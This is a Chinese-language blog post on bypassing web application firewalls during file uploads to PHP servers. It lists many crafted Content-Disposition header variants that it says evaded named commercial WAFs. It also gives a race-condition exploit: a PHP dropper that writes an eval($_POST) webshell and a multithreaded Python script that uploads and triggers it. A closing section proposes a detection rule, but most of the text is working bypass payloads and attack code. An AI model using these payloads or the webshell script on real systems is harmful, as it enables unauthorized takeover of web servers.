上传漏洞

1. 前言

本文主要讨论下 文件上传和WAF的功与防。

测试环境均为

  • nginx/1.10.3
  • PHP 5.5.34

有些特性和 语言及webserver有关,有问题的地方,欢迎大家指正。

2. 文件上传的特征

先来了解下文件上传的特征,抓包看看这段文件上传代码的HTTP请求。

upload.php

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<?php
if(isset($_POST['submit_x'])){
$upfile = $_FILES['filename']['name'];
$tempfile = $_FILES['filename']['tmp_name'];
$ext = trim(get_extension($upfile));
// 判断文件后缀是否为数组里的值
if(in_array($ext,array('xxx'))){
die('Warning! File type error..');
}
$savefile = 'upload/' . $upfile;
if(move_uploaded_file($tempfile, $savefile)){
die('Upload success! FileName: '.$savefile);
}else{
die('Upload failed..');
}
}
// 获取文件后缀名,并转为小写
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
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<html>

 <body>

  <form method="post"
action="#" enctype="multipart/form-data">

   <input type="file"
name="file_x" value=""/>

   <input type="submit"
name="submit_x" value="upload"/>

  </form>

 </body>

</html>

请求

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POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274
Cache-Control: max-age=0
Origin: <http://localhost>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2
Connection: close

------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="file_x"; filename="xx.php"

<?php phpinfo(); ?>
------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryuKS18BporicXJfTx--

从中获取特征为:

  • 请求Header中Content-Type存在以下特征:
  • multipart/form-data(表示该请求是一个文件上传请求)
  • 存在boundary字符串(作用为分隔符,以区分POST数据)
  • POST的内容存在以下特征:
  • Content-Disposition
  • name
  • filename
  • POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
  • 最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

3. WAF如何拦截

先来想想,如果自己写WAF来防御恶意文件上传。你应该如何防御?

  • 文件名
  • 解析文件名,判断是否在黑名单内。
  • 文件内容
  • 解析文件内容,判断是否为webshell。
  • 文件目录权限
  • 该功能需要主机WAF实现,比如我见过的云锁。

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

大致步骤如下:

  1. 获取Request Header里的Content-Type值中获取boundary值
  2. 根据第一步的boundary值,解析POST数据,获取文件名
  3. 判断文件名是否在拦截黑名单内

看看春哥写的lua-resty-multipart-parser,就能理解了,不过这份代码已经没维护了。但是这份代码解析了文件名,只是绕过方式比较多233。看到这份解析代码是由于某个WAF使用的这份代码,具体这WAF叫什么名字,现在找不到了,不过github上搜下应该就出来了。

lua-resty-upload这份代码还在维护,不过只是取了内容,文件名需要自己解析。

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------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

4. 绕过

获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以绕过的地方也就在这两个地方了。

4.1 去掉引号

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Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php

4.2 双引号变成单引号

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Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

4.3 大小写

对这三个固定的字符串进行大小写转换

  • Content-Disposition
  • name
  • filename

比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。

4.4 空格

Content-Disposition: form-data; name=file_x; filename=xx.php

在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。

在filename=后面添加空格,截止到2017年10月04日还能绕过某盾WAF。

4.5 去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。

Content-Disposition: name='file_x'; filename='xx.php'

4.6 交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

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Content-Disposition: form-data; filename="xx.php"; name=file_x

4.7 多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

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------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

4.8 多个filename

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

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Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

4.9 多个分号

文件解析时,可能解析不到文件名,导致绕过。

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Content-Disposition: form-data; name="file_x";;; filename="test.php"

4.10 multipart/form-DATA

这种绕过应该很少,大多数都会忽略大小写。php和java都支持。

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Content-Type: multipart/form-DATA

4.11 Header在boundary前添加任意字符

这个只能说,PHP很皮,这都支持。试了JAVA会报错。

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Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

4.12 filename换行

PHP支持,Java不支持。截止到2017年10月18日,这个方法能绕过某盾。

Content-Disposition: form-data; name="file_x"; file
name="test.php"

这种PHP也支持。

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fi
lename

4.13 name和filename添加任意字符串

PHP上传成功,Java上传失败。

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Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

4.14 其他

其他利用系统特性的就不描述了,不是本文重点。有兴趣可以看下我的Waf Bypass之道(upload篇)

5. 案例绕过

5.1 某盾

测试某盾WAF对恶意文件上传的拦截。方法比较粗暴,判断如下:

  1. 判断POST数据是否存在Content-Disposition:字符串
  2. 判断filename的文件名是否在黑名单内

两者满足就拦截,没有做其他多余的判断,正则也很好写。

测试:curl -v -d "Content-Disposition:filename=xx.php;" www.victim.com 拦截

这种方式确实有误拦截情况。不过截止到2017年10月04日,某盾的上传还是能够通过在filename=后面添加空格进行绕过。

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POC:Content-Disposition: form-data; name="file_x"; filename= "xx.php";

下面这种也能绕过。

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Content-Disposition: form-data; name="file_x"; file
name="test.php"

5.2 UCloud

先找一个用了UCloud WAF的网站测试。

拦截

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Content-Disposition: form-data; name="file_x";filename="xx.php"

去掉form-data绕过

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Content-Disposition:  name="file_x";filename="xx.php"

其他的就不测试了…

5.3 竞争上传

演示代码:

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<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

copy.php

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<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

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import os
import requests
import threading

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)

def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)

def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()

if __name__ == "__main__":
threads = 20

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

经过几次尝试后成功成功写入shell

6.How to Play

看了这么多,那规则到底应该如何写。我个人想法如下:

  1. 由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
  2. POST数据去掉所有换行,匹配是否有Content-Disposition:.filename\s=\s(.php)类似的规则。

这只是我的个人想法,如果有更好的想法,欢迎交流讨论。

7.Reference

-------------本文结束感谢您的阅读-------------